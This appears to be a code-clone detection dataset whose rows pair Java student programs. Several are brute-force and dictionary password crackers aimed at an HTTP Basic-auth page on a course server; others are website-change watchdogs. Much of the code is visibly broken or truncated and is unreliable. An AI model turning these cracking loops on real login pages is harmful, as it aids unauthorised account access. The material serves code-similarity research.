F1
stringlengths
8
8
F2
stringlengths
8
8
label
int64
0
1
text_1
stringlengths
174
63k
text_2
stringlengths
174
63k
124.java
161.java
0
import java.text.*; import java.util.*; import java.net.*; import java.io.*; public class Dictionary { public int runProcess(String urlString,String passwd) { System.out.println("Checking password: ... " + passwd); int returnval = 0; MyAuthenticator auth = new MyAuthenticator(passwd); Authenticator.setDefault(auth); try{ URL yahoo = new URL(urlString); BufferedReader in = new BufferedReader(new InputStreamReader(yahoo.openStream())); String inputLine; while ((inputLine = in.readLine()) != null) { System.out.println(inputLine); System.out.println("password: " + passwd); returnval = 1; } in.print(); }catch(Exception e){ returnval = 0;} return returnval; } public static void main (String argv[]) { int retval = 0; String pwd = ""; String inFile = "/usr/share/lib/dict/words"; BufferedReader in = null; String line1 =""; try { Dictionary s = new Dictionary(); String urlToSearch = "http://sec-crack.cs.rmit.edu./SEC/2/"; in = new BufferedReader(new FileReader(inFile)); while ((line1=in.readLine()) != null) { retval = 0; pwd = line1; retval = s.runProcess(urlToSearch,pwd); if (retval > 0) { System.exit(0); } } }catch(Exception e) { e.printStackTrace();} } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
191.java
161.java
0
import java.io.IOException; import java.net.*; import java.io.*; import java.util.*; public class BruteForce { static String strLetter[]; static URL url = null; static URLConnection urlConnection; static InputStream urlStream; static String strExceptionPassword[]; static int intExceptionCount = -1; static int intNumberOfConnectionAttempts = 0; static String username = ""; static String strLastPasswordTested; public static void main (String args[]) { Calendar calStart; Calendar calFinish; Date dateStart; Date dateFinish; lngStart; lngFinish; calStart = new GregorianCalendar(); dateStart = calStart.getTime(); lngStart = dateStart.getTime(); System.out.println(); System.out.println(); populateArray(); boolean boolPasswordFound = false; boolean boolExceptionPasswordsTestedAgain = false; String strPasswd; String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/index.php"; int intCounter1 = 0; int intCounter2 = 0; int intCounter3 = 0; int intArrayLength = strLetter.length; strExceptionPassword = new String[5000]; if (!boolPasswordFound) { intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 < intArrayLength) ) { boolPasswordFound = true; boolPasswordFound = passwordWasFound(urlString, strLetter[intCounter1], boolPasswordFound); intCounter1++; } intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 < intArrayLength) ) { intCounter2 = 0; while ( (!boolPasswordFound) && (intCounter2 < intArrayLength) ) { boolPasswordFound = true; boolPasswordFound = passwordWasFound (urlString, strLetter[intCounter1] + strLetter[intCounter2], boolPasswordFound); intCounter2++; } intCounter1++; } intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 < intArrayLength) ) { intCounter2 = 0; while ( (!boolPasswordFound) && (intCounter2 < intArrayLength) ) { intCounter3 = 0; while ( (!boolPasswordFound) && (intCounter3 < intArrayLength) ) { boolPasswordFound = true; boolPasswordFound = passwordWasFound (urlString, strLetter[intCounter1] + strLetter[intCounter2] + strLetter[intCounter3], boolPasswordFound); intCounter3++; } intCounter2++; } intCounter1++; } intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 <= intExceptionCount) ) { boolExceptionPasswordsTestedAgain = true; boolPasswordFound = true; boolPasswordFound = passwordWasFound(urlString, strExceptionPassword[intCounter1], boolPasswordFound); intCounter1++; } } System.out.println(); calFinish = new GregorianCalendar(); dateFinish = calFinish.getTime(); lngFinish = dateFinish.getTime(); System.out.println(); System.out.println(); System.out.println(); System.out.println("Length of time for processing: " + ((lngFinish - lngStart) / 1000) + " seconds"); System.out.println(); System.out.println("Number of connection attempts = " + intNumberOfConnectionAttempts); System.out.println(); System.out.println("Number of exceptions thrown = " + (intExceptionCount + 1)); if (intExceptionCount >= 0) { System.out.print("These EXCEPTION passwords WERE "); if (boolExceptionPasswordsTestedAgain) System.out.print("tested again."); else System.out.print("NOT tested again."); System.out.println(); } System.out.println(); if (boolPasswordFound) { System.out.println("The correct password WAS found - this password is '" + strLastPasswordTested + "'."); } else { System.out.println("The correct password WAS NOT found."); } System.out.println(); } static void populateArray() { strLetter = new String[52]; strLetter[0] = "a"; strLetter[1] = "b"; strLetter[2] = "c"; strLetter[3] = "d"; strLetter[4] = "e"; strLetter[5] = "f"; strLetter[6] = "g"; strLetter[7] = "h"; strLetter[8] = "i"; strLetter[9] = "j"; strLetter[10] = "k"; strLetter[11] = "l"; strLetter[12] = "m"; strLetter[13] = "n"; strLetter[14] = "o"; strLetter[15] = "p"; strLetter[16] = "q"; strLetter[17] = "r"; strLetter[18] = "s"; strLetter[19] = "t"; strLetter[20] = "u"; strLetter[21] = "v"; strLetter[22] = "w"; strLetter[23] = "x"; strLetter[24] = "y"; strLetter[25] = "z"; strLetter[26] = "A"; strLetter[27] = "B"; strLetter[28] = "C"; strLetter[29] = "D"; strLetter[30] = "E"; strLetter[31] = "F"; strLetter[32] = "G"; strLetter[33] = "H"; strLetter[34] = "I"; strLetter[35] = "J"; strLetter[36] = "K"; strLetter[37] = "L"; strLetter[38] = "M"; strLetter[39] = "N"; strLetter[40] = "O"; strLetter[41] = "P"; strLetter[42] = "Q"; strLetter[43] = "R"; strLetter[44] = "S"; strLetter[45] = "T"; strLetter[46] = "U"; strLetter[47] = "V"; strLetter[48] = "W"; strLetter[49] = "X"; strLetter[50] = "Y"; strLetter[51] = "Z"; } static boolean passwordWasFound(String urlString, String password, boolean retVal) { String strEncodeInput = username + ":" + password; boolean returnValue = retVal; boolean boolExceptionThrown = false; try { strLastPasswordTested = password; intNumberOfConnectionAttempts++; url = new URL(urlString); String encoding = new url.misc.BASE64Encoder().encode (strEncodeInput.getBytes()); System.out.print("username = " + username + " " + "password = " + password); HttpURLConnection urlConnection = (HttpURLConnection)url.openConnection(); urlConnection.setRequestProperty("Authorization", " " + encoding); System.out.println(" response = " + urlConnection.getResponseCode()); if (urlConnection.getResponseCode() == 401) { returnValue = false; } } catch (MalformedURLException m) { boolExceptionThrown = true; returnValue = false; System.err.println(m); System.out.println("Malformed URL Exception error"); } catch (IOException io) { boolExceptionThrown = true; returnValue = false; System.out.println("IOException error"); System.err.println(io); } catch (Exception e) { boolExceptionThrown = true; returnValue = false; System.out.println("General exception....."); System.err.println(e); } finally { urlConnection = null; url = null; } if (boolExceptionThrown) { intExceptionCount++; strExceptionPassword[intExceptionCount] = password; } return returnValue; } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
001.java
161.java
0
import java.io.*; class WatchDog { public static void main(String args[]){ Calls c = new Calls(); c.retrieveFile("students/"); c.retrieveFile("images/newcsitlogo.jpg"); c.retrieveFile("images/rmitcsit.jpg"); c.retrieveFile("images/helix.jpg"); String checksum = c.getChecksum("index.html"); String imgchecksum1 = c.getChecksum("newcsitlogo.jpg"); String imgchecksum3 = c.getChecksum("rmitcsit.jpg"); String imgchecksum5 = c.getChecksum("helix.jpg"); System.out.println("Checksum of original file " +checksum); System.out.println("Checksum of image 1 " +imgchecksum1); System.out.println("Checksum of image 2" +imgchecksum3); System.out.println("Checksum of image 3" +imgchecksum5); for(int x = 0; x < 3;x++){ System.out.println("Watchdog switching sleep state -> 24hrs"); try{ Thread.sleep(86400000); } catch(Exception e){ System.out.println("Exception in sleep: "+e); } System.out.println("Watchdog switching running state"); c.retrieveFile("students/"); c.retrieveFile("images/newcsitlogo.jpg"); c.retrieveFile("images/rmitcsit.jpg"); c.retrieveFile("images/helix.jpg"); String newchecksum = c.getChecksum("index.html.1"); String newimgchecksum1 = c.getChecksum("newcsitlogo.jpg.1"); String newimgchecksum3 = c.getChecksum("rmitcsit.jpg.1"); String newimgchecksum5 = c.getChecksum("helix.jpg.1"); System.out.println("Checksum of new " +newchecksum); System.out.println("Checksum of new image 1 " +newimgchecksum1); System.out.println("Checksum of new image 2" +newimgchecksum3); System.out.println("Checksum of new image 3" +newimgchecksum5); if(newchecksum.equals(checksum) && newimgchecksum1.equals(imgchecksum1) && newimgchecksum3.equals(imgchecksum3) && newimgchecksum5.equals(imgchecksum5)) System.out.println(" Changes Detected "); else{ System.out.println("Changes Detected "); c.spotDiff(); c.mail(); } c.deletePage("index.html.1"); c.deletePage("newcsitlogo.jpg.1*"); c.deletePage("rmitcsit.jpg.1*"); c.deletePage("helix.jpg.1*"); } } } class Calls{ public void retrieveFile(String file){ try{ Process p = Runtime.getRuntime().exec("wget -nv http://www.cs.rmit.edu./" +file); InputStream is = p.getErrorStream(); BufferedReader bf = new BufferedReader(new InputStreamReader(is)); String tempLine=""; tempLine = bf.readLine(); System.out.println(tempLine); } catch(Exception e){ System.out.println("Exc in retrievePage() " +e); } } public String getChecksum(String cadena) { String tempLine=""; try{ Process p = Runtime.getRuntime().exec("/usr/local//md5sum " + cadena); InputStream is = p.getInputStream(); BufferedReader bf = new BufferedReader(new InputStreamReader(is)); tempLine = bf.readLine(); } catch(Exception e){ System.out.println(e); } return tempLine.substring(0,32); } public void deletePage(String temp) { String [] cad= new String[3]; cad[0]="//sh"; cad[1]="-c"; cad[2]="rm " + temp; String tempLine=""; try{ Process p = Runtime.getRuntime().exec(); } catch(Exception e){ System.out.println(e); } } public void spotDiff(){ String tempLine=""; try{ FileWriter fwr = new FileWriter("report.txt"); BufferedWriter bwr = new BufferedWriter(fwr); PrintWriter pwr = new PrintWriter(bwr); Process p = Runtime.getRuntime().exec("diff .html .html.1"); InputStream is = p.getInputStream(); BufferedReader bf = new BufferedReader(new InputStreamReader(is)); pwr.println("Changes in index.html"); pwr.flush(); while((tempLine = bf.readLine())!=null) { System.out.println(tempLine); pwr.println(tempLine); pwr.flush(); } pwr.println("------------------------------------------------"); pwr.flush(); pwr.println("Changes in Images"); pwr.flush(); Process p1 = Runtime.getRuntime().exec("diff newcsitlogo.jpg newcsitlogo.jpg.1"); InputStream ist = p1.getInputStream(); BufferedReader bre = new BufferedReader(new InputStreamReader(ist)); while((tempLine = bre.readLine())!=null) { System.out.println(tempLine); pwr.println(tempLine); pwr.flush(); } Process p3 = Runtime.getRuntime().exec("diff rmitcsit.jpg rmitcsit.jpg.1"); InputStream ist2 = p3.getInputStream(); BufferedReader bre2 = new BufferedReader(new InputStreamReader(ist2)); while((tempLine = bre2.readLine())!=null) { System.out.println(tempLine); pwr.println(tempLine); pwr.flush(); } Process p5 = Runtime.getRuntime().exec("diff helix.jpg helix.jpg.1"); InputStream ist4 = p5.getInputStream(); BufferedReader bre4 = new BufferedReader(new InputStreamReader(ist4)); while((tempLine = bre4.readLine())!=null) { System.out.println(tempLine); pwr.println(tempLine); pwr.flush(); } } catch(Exception e){ System.out.println("Exception Spot Difference : " +e); } } public void mail(){ String mail[] = new String[3]; mail[0]="//sh"; mail[1]="-c"; mail[2]="mailx @cs.rmit.edu. < report.txt"; try{ Process p = Runtime.getRuntime().exec(mail); } catch(Exception e){ System.out.println("Exception mail: " +e); } } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
088.java
161.java
0
import java.io.*; import java.net.*; import java.security.*; import java.math.*; import java.*; import java.util.*; public class WatchDog { public static FileWriter out = null, output = null; public static void main (String args[]) throws Exception { Socket socket = null; DataOutputStream = null; BufferedReader bf = null, fr = null; String retVal = null, StatusCode = "HTTP/1.1 200 OK"; int dirty = 0, count = 0; stime = System.currentTimeMillis(); System.out.println("Detecting the changes..."); try { URL yahoo = new URL("http://www.cs.rmit.edu./students/"); URLConnection yc = yahoo.openConnection(); BufferedReader in = new BufferedReader( new InputStreamReader( yc.getInputStream())); String inputLine; try { out = new FileWriter("newstudent"); while ((inputLine = in.readLine()) != null){ out.write(inputLine + "\n"); } } catch (IOException ex) { ex.printStackTrace(); } in.print(); out.print(); dirty = diff(); if (dirty == 1){ sendMail(); System.out.println("Changes detected and email sent!"); } if (diffimages() == 1){ sendMail(); System.out.println("Images modification detected and email sent!"); } updatePage(); System.out.println("** End of WatchDog checking **"); } catch (Exception ex) { ex.printStackTrace(); } } public static int diff() { int update = 0; try{ Process process = Runtime.getRuntime().exec("diff -b RMITCSStudent newstudent"); BufferedReader pr = new BufferedReader( new InputStreamReader( process.getInputStream())); output = new FileWriter("output"); String inputLine; while ((inputLine = pr.readLine()) != null){ output.write(inputLine + "\n"); update = 1; } output.promt(); }catch (Exception ex){ ex.printStackTrace(); } return update; } public static int diffimages() { int update = 0; String image; try{ Process primages = Runtime.getRuntime().exec("./images.sh"); wait(1); File imageFile = new File("imagesname"); BufferedReader fr = new BufferedReader(new FileReader(imageFile)); output = new FileWriter("output"); while ((image = fr.readLine()) != null) { primages = Runtime.getRuntime().exec("diff " + image + " o"+image); BufferedReader pr = new BufferedReader( new InputStreamReader( primages.getInputStream())); String inputLine; while ((inputLine = pr.readLine()) != null){ output.write(inputLine + "\n"); update = 1; } } output.print(); fr.close(); }catch (Exception ex){ ex.printStackTrace(); } return update; } public static void sendMail() { try{ Process mailprocess = Runtime.getRuntime().exec("./email.sh"); }catch (Exception ex){ ex.printStackTrace(); } } public static void updatePage() { String image; try{ Process updateprocess = Runtime.getRuntime().exec("cp newstudent RMITCSStudent"); Process deleteprocess = Runtime.getRuntime().exec("rm newstudent"); File inputFile = new File("imagesname"); BufferedReader fr = new BufferedReader(new FileReader(inputFile)); while ((image = fr.readLine()) != null) { updateprocess = Runtime.getRuntime().exec("cp " + image + " o" + image); deleteprocess = Runtime.getRuntime().exec("rm " + image); } fr.close(); }catch (Exception ex){ ex.printStackTrace(); } } public static void wait(int time){ int timer, times; timer = System.currentTimeMillis(); times = (time * 1000) + timer; while(timer < times) timer = System.currentTimeMillis(); } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
049.java
161.java
0
import java.net.*; import java.io.*; import java.*; import java.Runtime.*; import java.Object.*; import java.util.*; import java.util.StringTokenizer; public class ReadFile { private StringTokenizer tokenizer; private BufferedReader bf; private String line; private String first; Vector in = new Vector(); public void loadFile()throws NoSuchElementException, IOException { System.out.println("in loadFile"); try{ bf = new BufferedReader(new FileReader("words")); } catch(FileNotFoundException fe){} catch(IOException io){} while((line = bf.readLine())!=null) { int index = 0; tokenizer = new StringTokenizer(line); try { first = tokenizer.nextToken(); if (first.length() == 3) { in.add(first); } } catch(NoSuchElementException n) { System.out.println("File Loaded Succesfully"); } } } public Vector getVector() { return in; } public static void main (String args[]) { Vector v = new Vector(); try { System.out.println("in "); ReadFile rf = new ReadFile(); rf.loadFile(); v = rf.getVector(); } catch(IOException e) { System.out.println(e); } System.out.println("size:" + v.size()); for (int i = 0; i< v.size(); i++) { System.out.println(i+1+ ":" + v.elementAt(i)); } } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
151.java
161.java
0
import java.net.*; import java.io.IOException; import java.util.*; import java.io.*; public class BruteForce { String passwordLetters[] ={"a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z"}; String password=" "; static int counter; static int noOfAttempts; static String userName=""; HttpURLConnection u; boolean threadF,threadM; String passBase64; PasswordCrackThreadF passwordCrackThreadF; PasswordCrackThreadM passwordCrackThreadM; URL url; public BruteForce() { breakPassword(); } public static void main (String args[]) { new BruteForce(); } private void breakPassword() { int j; breakOneLetterPassword(); breakTwoLetterPassword(); passwordCrackThreadF = new PasswordCrackThreadF(0,26,counter++,passwordLetters,userName,this); passwordCrackThreadM = new PasswordCrackThreadM(26,52,counter++,passwordLetters,userName,this); passwordCrackThreadF.print(); passwordCrackThreadM.print(); } private void breakOneLetterPassword() { MyHttpURLConnection httpURLConnection; try { url = new URL( "http://sec-crack.cs.rmit.edu./SEC/2/index.php"); passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes()); u = (HttpURLConnection)url.openConnection(); u.setRequestProperty("Authorization", " " + passBase64); } catch (IOException io) {io.printStackTrace();} loop: for (int i=0;i<52;i++) { password = passwordLetters[i]; password =":"+ password; try { u= (HttpURLConnection)url.openConnection(); passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes()); u.setRequestProperty("Authorization", " " + passBase64); u.connect(); noOfAttempts++; if (u.getContentLength() != 0) { if (u.getResponseCode()== HttpURLConnection.HTTP_OK ) { System.out.println ("Your User Name : Password is "+password); System.out.println(" "); System.out.println(" of Attempts / Requests "+ noOfAttempts); System.exit(0); } } } catch (ProtocolException px) {px.printStackTrace(); } catch ( NoRouteToHostException nr) {nr.printStackTrace(); } catch (BindException e){e.printStackTrace(); } catch (IndexOutOfBoundsException e3){e3.printStackTrace(); } catch (IOException io) {io.printStackTrace(); } finally {u.disconnect(); } } } private void breakTwoLetterPassword() { MyHttpURLConnection httpURLConnection; try { url = new URL( "http://sec-crack.cs.rmit.edu./SEC/2/index.php"); passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes()); u = (HttpURLConnection)url.openConnection(); u.setRequestProperty("Authorization", " " + passBase64); } catch (IOException io) {io.printStackTrace();} loop: for (int i=0;i<52;i++) { for (int j=0;j<52;j++) { password = passwordLetters[i]+passwordLetters[j]; password =":"+ password; try { u= (HttpURLConnection)url.openConnection(); passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes()); u.setRequestProperty("Authorization", " " + passBase64); u.connect(); noOfAttempts++; if (u.getContentLength() != 0) { if (u.getResponseCode()== HttpURLConnection.HTTP_OK ) { System.out.println ("Your User Name : Password is "+password); System.out.println(" "); System.out.println(" of Attempts / Requests "+ noOfAttempts); System.exit(0); } } } catch (ProtocolException px) {px.printStackTrace(); } catch ( NoRouteToHostException nr) {nr.printStackTrace(); } catch (BindException e){e.printStackTrace(); } catch (IndexOutOfBoundsException e3){e3.printStackTrace(); } catch (IOException io) {io.printStackTrace(); } finally {u.disconnect(); } } } } } class PasswordCrackThreadF extends Thread { private String passwordLetters[] ; private String password=" "; private static String userName=""; private MyHttpURLConnection httpURLConnection; private URL url; BruteForce bruteForce; int count; String passBase64; private HttpURLConnection u; int start,stop; static boolean found; PasswordCrackThreadF(int start,int stop,int counter,String[] passwordLetters,String userName,BruteForce bruteForce) { this.start = start; this.stop = stop; this.passwordLetters =passwordLetters; this.userName=userName; count =counter; this.bruteForce=bruteForce; bruteForce.threadF=true; passBase64 = new bruteForce.misc.BASE64Encoder().encode(password.getBytes()); try { url = new URL( "http://sec-crack.cs.rmit.edu./SEC/2/index.php"); u = (HttpURLConnection)url.openConnection(); u.setRequestProperty("Authorization", " " + passBase64); } catch (IOException io) {io.printStackTrace();} } public synchronized void run() { outer : for (int i=0; i<stop;i++) { for (int j=0;j<52;j++) { for (int k=0;k<52;k++) { password = passwordLetters[i]+passwordLetters[j]+passwordLetters[k]; password =":"+ password; while (!(bruteForce.threadF)) { try { wait(1); } catch (InterruptedException e){} } if (found) System.exit(0); try { u = (HttpURLConnection)url.openConnection(); passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes()); u.setRequestProperty("Authorization", " " + passBase64); u.connect(); BruteForce.noOfAttempts++; if (u.getContentLength() != 0) { if (u.getResponseCode() == HttpURLConnection.HTTP_OK ) { found=true; System.out.println ("Your User Name : Password is "+password+ " "+ " Found by Thread "+count); System.out.println(" "); System.out.println(" of Attempts / Requests "+ BruteForce.noOfAttempts); System.exit(0); } } } catch (ProtocolException px) {px.printStackTrace(); } catch ( NoRouteToHostException nr){k--; nr.printStackTrace(); } catch (BindException e){e.printStackTrace(); } catch (IndexOutOfBoundsException e3){e3.printStackTrace(); } catch (IOException io) {io.printStackTrace(); } finally {u.disconnect(); } bruteForce.threadF=false; bruteForce.threadM=true; notifyAll(); } } System.out.println("End"); } } } class PasswordCrackThreadM extends Thread { private String passwordLetters[] ; private String password=" "; private static String userName=""; private MyHttpURLConnection httpURLConnection; private URL url; String passBase64; private URLAuthenticator urlAuthenticator = new URLAuthenticator(userName); BruteForce bruteForce; int count; private HttpURLConnection u; int start,stop; static boolean found; PasswordCrackThreadM(int start,int stop,int counter,String[] passwordLetters,String userName,BruteForce bruteForce) { this.start = start; this.stop = stop; this.passwordLetters =passwordLetters; this.userName=userName; count =counter; this.bruteForce=bruteForce; try { url = new URL( "http://sec-crack.cs.rmit.edu./SEC/2/index.php"); u = (HttpURLConnection)url.openConnection(); passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes()); u.setRequestProperty("Authorization", " " + passBase64); } catch (IOException io) {io.printStackTrace();} } public synchronized void run() { outer : for (int i=0; i<stop;i++) { for (int j=0;j<52;j++) { for (int k=0;k<52;k++) { password = passwordLetters[i]+passwordLetters[j]+passwordLetters[k]; password=":"+password; while (!(bruteForce.threadM)) { try { wait(1); } catch (InterruptedException e){} } if (found) System.exit(0); try { u = (HttpURLConnection)url.openConnection(); passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes()); u.setRequestProperty("Authorization", " " + passBase64); u.connect(); BruteForce.noOfAttempts++; if (u.getContentLength() != 0) { if (u.getResponseCode() == HttpURLConnection.HTTP_OK ) { found=true; System.out.println ("Your User Name : Password is "+password+ " "+ " Found by Thread "+count); System.out.println(" "); System.out.println(" of Attempts / Requests "+ BruteForce.noOfAttempts); System.exit(0); } } } catch (ProtocolException px) {px.printStackTrace(); } catch ( NoRouteToHostException nr){k--; nr.printStackTrace(); } catch (BindException e){e.printStackTrace(); } catch (IndexOutOfBoundsException e3){e3.printStackTrace(); } catch (IOException io) {io.printStackTrace(); } finally {u.disconnect(); } bruteForce.threadF=true; bruteForce.threadM=false; notifyAll(); } } System.out.println("End"); } } } class URLAuthenticator extends Authenticator { private String uName; String passwd; static char[] password; public URLAuthenticator(String uName) { this.uName = uName; } public void setPassword(String passwd) { this.passwd=passwd; password=passwd.toCharArray(); } public PasswordAuthentication getPasswordAuthentication() { return new PasswordAuthentication(uName,password); } } class MyHttpURLConnection extends HttpURLConnection { public MyHttpURLConnection(URL url) { super(url); } public void disconnect() { } public boolean usingProxy() { return true; } public void connect() { } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
165.java
161.java
0
package java.httputils; import java.io.BufferedInputStream; import java.io.IOException; import java.net.HttpURLConnection; import java.net.MalformedURLException; import java.net.URL; import java.net.URLConnection; import java.sql.Timestamp; public class HttpRequestClient { protected URL serverURL; protected java.net.HttpURLConnection httpConnection; protected Timestamp start; protected Timestamp end; protected StringBuffer content = new StringBuffer(); protected int millis; protected int code; public HttpRequestClient(String url) throws MalformedURLException, IOException { setServerURL(new URL(url)); setStart(new Timestamp(System.currentTimeMillis())); setHttpConnection( (HttpURLConnection)this.getServerURL().openConnection()); doRequest(); } public HttpRequestClient() { super(); } public int doRequest() throws IOException { String retVal = null; int url = HttpURLConnection.HTTP_UNAUTHORIZED; BufferedInputStream stream = null; try { stream s = new BufferedInputStream(getHttpConnection().getInputStream()); s= getHttpConnection().getResponseCode(); if (s == HttpURLConnection.HTTP_UNAUTHORIZED) { return s; } int c = -1; while ((c = stream.get()) != -1) { getContent().append((char)c); } setEnd(new Timestamp(System.currentTimeMillis())); } catch (IOException e) { this.setCode(getHttpConnection().getResponseCode()); throw e; } 